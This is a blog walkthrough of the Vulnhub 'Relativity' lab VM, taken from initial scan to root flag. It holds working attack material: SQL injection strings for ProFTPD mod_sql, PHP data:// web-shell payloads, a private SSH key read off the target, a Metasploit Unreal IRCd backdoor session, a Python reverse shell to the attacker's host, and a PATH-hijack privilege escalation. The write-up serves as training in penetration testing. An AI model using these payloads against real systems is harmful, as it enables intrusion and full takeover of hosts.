Core dump overflow

Core dump in progress...

Pentest lab - Relativity

| Comments

I selected the Relativity VM from Vulnhub as my next home lab target. The objective is to read /root/flag.txt. Let’s get started!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 nmap -A -p1-65535 192.168.80.128

Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-10 16:46 EEST
Nmap scan report for 192.168.80.128
Host is up (0.00058s latency).
Not shown: 65532 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp
22/tcp open  ssh     OpenSSH 5.9 (protocol 2.0)
| ssh-hostkey: 
|   1024 42:d0:50:45:6c:4f:6a:25:d9:5e:d4:7d:12:26:04:ef (DSA)
|_  2048 1b:e9:72:2b:8a:0b:57:0a:4b:ad:3d:06:62:94:29:02 (RSA)
80/tcp open  http    Apache httpd 2.2.23 ((Fedora))
|_http-title: M.C. Escher - Relativity
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port21-TCP:V=6.47%I=7%D=5/10%Time=554F618E%P=x86_64-unknown-linux-gnu%r
SF:(GenericLines,29,"220\x20Welcome\x20to\x20Relativity\x20FTP\x20\(mod_sq
SF:l\)\r\n");
MAC Address: 00:0C:29:9F:1D:0E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Relativity

The web server doesn’t seem to serve anything else than an image. I ran Nikto and Dirbuster on it but didn’t find anything. Next I hit the FTP server. No anonymous login possible, but there was something interesting in the banner:

1
220 Welcome to Relativity FTP (mod_sql)

I started googling, and it turns out that “The mod_sql module is an authentication and logging module for ProFTPD”. The good news is, there is a SQLi vulnerability in the USER command that might allow access to the server. I don’t know the version of our target server, but let’s try it!

On http://www.securityfocus.com/bid/33722/exploit you can find some sample exploit strings:

1
2
3
4
username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --
password: 1

username: %') and 1=2 union (select <name>,1,<uid>,<gid>,0x2F,0x2F62696E2F62617368); -- a

Neither worked, but I tinkered with the comment characters and found out that I could get in either by replacing the with a #, or by inserting a space and random characters after the :

1
2
3
4
5
6
7
220 Welcome to Relativity FTP (mod_sql)
Name (192.168.80.128:root): username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; # 
331 Password required for username:.
Password:
230 User username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; # logged in.
Remote system type is UNIX.
Using binary mode to transfer files.

Next, I found out an interesting looking directory:

1
2
3
4
5
6
7
8
9
ftp> pwd
257 "/" is current directory.
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   3 root     root         4096 Mar  5  2013 0f756638e0737f4a0de1c53bf8937a08
-rw-r--r--   1 root     root       235423 Mar  5  2013 artwork.jpg
-rw-r--r--   1 root     root          130 Mar  5  2013 index.html
226 Transfer complete.

It seems we are in the root directory, but the html and image file hint at the web server. So I went to the website again and this time I tried to navigate to that new directory:

secretdir

I looked around at the pages, noticed the URL when accessing them looks something like this: http://192.168.80.128/0f756638e0737f4a0de1c53bf8937a08/index.php?page=escher.php. So I tried some local file inclusion, but it didn’t get me anywhere. To get to the next step, I needed some external reading and inspiration. For the exploit, we can leverage PHP’s stream wrappers: PHP comes with many built-in wrappers for various URL-style protocols for use with the filesystem functions such as fopen(), copy(), file_exists() and filesize(). On this blog post there is a nice explanation and examples of how to get remote code execution by leveraging the data stream. If you look at the examples, you can see that the content passed as a base64 string is being interpreted. Check page 9 of this pdf for a summary of this remote file inclusion technique. Bottom line: we can base64 encode PHP commands and feed them to the target. So to test this out:

1
2
3
4
5
6
7
8
9
10
11
# simple RFI
page=data://text/plain, <?php system("whoami");?>

# base64 encoded RFI
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==

# mini shell
page=data://text/plain,<?php system($_GET[cmd]);?>&cmd=id

# base64 + URL encoded mini shell (didn't work without URL encoding)
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8%2B&cmd=id

And we are free to enumerate! Next thing I did was to read /etc/passwd (look at it in the source code of the page for better readability). This gave me the name of 2 users on the machine:

1
2
3
---
mauk:x:1001:1001::/home/mauk:/bin/bash
jetta:x:1002:1002::/home/jetta:/bin/bash

Next I looked around some more, and when listing the home directories, I noticed that mauk’s home folder permissions aren’t what they should be (but good for us!):

1
2
drwx------. 3 jetta jetta 4096 Jul  9  2013 jetta
drwxr-xr-x. 3 mauk  mauk  4096 Jul  9  2013 mauk

Looking in mauk’s directory, this is interesting:

1
drwxr-xr-x. 2 mauk mauk 4096 Jul  9  2013 .ssh

Even better, inside there is mauk’s private SSH key!

1
-rw-r--r--. 1 mauk mauk 1679 Feb 24  2013 id_rsa

And we can read it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA5sm/rHHoCaTtncp7DCSIJlWnUg9eyfpJ3czIn18U1lv5ZQf0
9yGaDxafualdpXCNMo32mVQb9XQ7c2N7sdSdAjsgSjV0YG/IZGZNRyFS58YJQRdZ
5wRu6eKAlQVss/Lq3zwuBsT8Om/1/cKpVgB3ukPtKA97M5iSxL1VWWXg6GVoJ6f6
zIio/DZMFCxOU9Wyl7i8ssEoBxQlmgZh9pnYYhwo7Rf3RXBJeHDpuc1g+vol2vRN
ALXqIBlItS08MhoTaS0SK+pD98OU34M745U5Mo4TgFjYc+eD7xewyduWuS5IuFPd
xfcHkt0cQ7he0AYHuk5ooCI4ca3B0xcSZILWqwIDAQABAoIBAHNnIMxXLQNdkGAd
tsfMoLQikodrHif7WuJpG0zuG5pQ5XWKtAi7qbCvzHDnaudmT4SfDld/gneLhord
jSXQPi62aCATeL0cSGVD7pKJ7E3vbgM5bQAi7F9RnqBl1QRqjN3R1uYVrFaAU85v
f4N8umHOw5ELpLyZJ5LvZfVNB1jNIRpxINhAP+/kVslsZ93qyssljokKFMy/uOIH
r+SV3b3Zfogvg67AJ/g08jtCjYdbr7egPP2TYPMRz5fbTWCrc5m4EBvf5h5pP/w6
Go12YacY2lbF5wzbFUjIdNyF7RZHFDbSB0bM9aCDmXTfywlFswYdb7HyIZrstQ9W
BzWhIYkCgYEA/tUe/rhUcEYEXkhddkXWARcX0t9YNb8apY7WyVibiSyzh33mscRG
MLZoJJri5QMvNdYkNGr5zSGEo270Q2CzduKCbhVjXIybIbmggAc/80gZ5E8FDgJ7
szUKJL37BxXbAAYFIZkzXvc76Ve+vZvLfKMTbQqXTgKkQpGyRHLVOz8CgYEA59ht
YicNlz2yM26mpGqQNLGtEC1RmyZbPn03yJRTBJG5/sOlMw0RI+cMEiqyo7MKHmMZ
+Z7VKVtk8xEQbUy6EAeeSri/Fh1xiKRtlwwQSU1q2ooPOmdHyUp+rhseoPaDAJgy
3KJYbkQMzHVt6KhsWVTEnrz0VtxiTzRu7p2Y5ZUCgYEAt5X2RG+rdU8b6oibvI9H
Q3XNlf+NXvsUSV2EY33QX5yyodQUFNFf98wRbv2epHoM0u45GwJOgHe7RLq0gq3x
3J4GdSQ3dv9c64j9lf6jFbNF4/MBozwqvcpiSmILrOkT4wpzO+dQ2QOoR80M/zB0
ApDBd/b/VhYVHFg2Y5WPBKUCgYBn47SIMgXGCtBqeZ/UtyetZRyuzg/uXQ6v/r5b
dBOLTZ2xyouhR66xjtv63AU2k4jqOvAtyf2szZZ70N6yi5ooirFkvEpsJ39zgnLV
J4O4xScnjIvsWNFzIp2HeQGNkUj8oDbSZTEJIBc4GzrH8Yizsud0VimLLrAi29UF
ubsEzQKBgQDpWaD5rTcaWueiH2DwI7kbdgyf6yfpunsRNsnq0GqZ2wSaUyKt9b1j
bj9Dp+VxrUt584v//7z9Skkde2akJbA/qiF8/oOvzaiNRAOfpLCiqoL0vJ5dIvcg
aXwuOk5Dt0/xQWPAKHL6HYyzQjnad/VAmn6tnxko1A/S8ELiG+MUtg==
-----END RSA PRIVATE KEY-----

We can save this private key on our machine and use it to log in as mauk! After looking around without any major discoveries, I noticed this folder in /opt/:

1
2
3
[mauk@Relativity ~]$ ls -l /opt
total 4
drwx------ 13 jetta jetta 4096 May 20 18:32 Unreal

That means there is an Unreal IRCd server there! But I didn’t find one when port scanning. Looking at the listening programs, there is indeed an IRC server listening on localhost on port 6667:

1
2
3
4
5
6
7
[mauk@Relativity ~]$ netstat -lntp
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:6667          0.0.0.0:*               LISTEN      -                   
...

The ircd server might be an avenue for privilege escalation to jetta:

1
2
3
[mauk@Relativity ~]$ ps -u jetta
  PID TTY          TIME CMD
  557 ?        00:00:00 ircd

But there was no netcat installed on the machine, so to find some information about the irc server, I set up SSH port forwarding so I can access it from my machine:

1
2
3
root@kali:~# ssh -L 4444:127.0.0.1:6667 mauk@192.168.80.128 
Last login: Sat May 23 18:25:04 2015 from 192.168.80.130
[mauk@Relativity ~]$ 

And now I could port scan my local 4444 port to learn more:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~# nmap -A -sV 127.0.0.1 4444

Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-23 16:31 EEST
setup_target: failed to determine route to 4444 (0.0.17.92)
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000065s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
4444/tcp open  irc     Unreal ircd
| irc-info: 
|   server: relativity.localdomain
|   version: Unreal3.2.8.1. relativity.localdomain 
|   servers: 1
|   users: 1
|   lservers: 0
|   lusers: 1
|   uptime: 0 days, 0:51:08
|   source host: rox-D2735CD4
|_  source ident: nmap

I googled the version and it contains a backdoor, and there is a Metasploit module for it. I fired up Metasploit and used against my localhost and port (remember the port forwarding), and got a shell as jetta! But if you want to know more about the backdoor and how to exploit it manually, read this.

1
2
3
4
5
6
7
8
9
10
msf exploit(unreal_ircd_3281_backdoor) > run

[*] Started reverse handler on 192.168.80.130:5555 
[*] Connected to 127.0.0.1:4444...
    :relativity.localdomain NOTICE AUTH :*** Looking up your hostname...
[*] Sending backdoor command...
[*] Command shell session 1 opened (192.168.80.130:5555 -> 192.168.80.128:41061) at 2015-05-23 17:18:12 +0300

whoami
jetta

In jetta’s home directory there is a directory named auth_server with a binary inside. I ran strings on it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
strings /home/jetta/auth_server/auth_server
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
fflush
puts
putchar
printf
poll
stdout
system
__libc_start_main
GLIBC_2.2.5
l$ L
t$(L
|$0H
[+] Checking Certificates... 
done
[+] Contacting server, please wait... 
could not establish connection
invalid certificates
error: (12)
fortune -s | /usr/bin/cowsay
Starting Auth server..
;*3$"

Interesting. This binary also appears to be owned as root:

1
2
ls -l /home/jetta/auth_server/auth_server
-rwxr-xr-x 1 root root 8010 Mar  8  2013 /home/jetta/auth_server/auth_server

I tried to sudo -l to see if jetta can run any commands as root, but there was no output in my shell. So I checked if the shell I have is interactive using this SO post:

1
2
[[ $- == *i* ]] && echo 'Interactive' || echo 'Not interactive'
Not interactive

I then read this post about spawning a TTY shell and used the first of the choices for a proper shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
python -c 'import pty; pty.spawn("/bin/sh")'
sh-4.2$ sudo -l
sudo -l
Matching Defaults entries for jetta on this host:
    requiretty, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
    LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
    LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
    LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY PATH", env_reset

User jetta may run the following commands on this host:
    (root) NOPASSWD: /home/jetta/auth_server/auth_server

Excellent, so the key to getting root is in exploiting that binary we found earlier. I ran it to see what it does:

1
2
3
4
5
6
7
8
9
10
11
12
13
sh-4.2$ /home/jetta/auth_server/auth_server
/home/jetta/auth_server/auth_server
[+] Checking Certificates...done
[+] Contacting server, please wait...could not establish connection
error: (12)
 _________________________ 
< There isn't any problem >
 ------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

I ran it several times for fun, made a mental note to replace my fortune cookies at the end of the blog posts with cowsay fortune cookies because this is purely awesome, then looked at strings again. Looking at the line fortune -s | /usr/bin/cowsay, we see that the fortune command doesn’t use an absolute path. So we can create a program of our choosing called fortune and modify our PATH variable to start looking in the location of our program. At this point I tried several ways to get a local or reverse root shell but I kept getting errors that the fortune file is busy, so instead of running the exploit every time and then getting a TTY shell on top of it, I thought maybe I can log in directly as jetta now and work from there. So I made a .ssh directory inside jetta’s home folder and copied there mauk’s authorized_keys file (remember the permissions were too lax). So now I could directly ssh as jetta and try again for the shell.

This time I used a Python reverse shell:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.130",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

I updated it with my host address and port, put it in a file named fortune, gave it permissions and updated the path to start looking in /tmp/:

1
2
3
4
5
6
7

[jetta@Relativity ~]$ chmod 777 /tmp/fortune

[jetta@Relativity ~]$ export PATH="/tmp:$PATH"

[jetta@Relativity ~]$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/home/jetta/.local/bin:/home/jetta/bin

On my machine I had netcat listen for connections:

1
2
3
root@kali:~# nc -vnlp 5555
nc: listening on :: 5555 ...
nc: listening on 0.0.0.0 5555 ...

And now I ran auth_server again:

1
2
3
4
[jetta@Relativity ~]$ sudo /home/jetta/auth_server/auth_server
[+] Checking Certificates...done
[+] Contacting server, please wait...could not establish connection
error: (12)

And on my netcat side:

1
2
3
4
5
6
sh-4.2# whoami
whoami
root
sh-4.2# cat /root/flag.txt
cat /root/flag.txt
65afa0e5928b98f7ae283e16df2d43bf

Was curious about the hash, ran it in an online decrypter, the result was sagishahar.

Markdown formatting was a pain in the ass for cowsay, so a slightly different fortune cookie format, but straight from the cow’s mouth!

fortune cowsay

Comments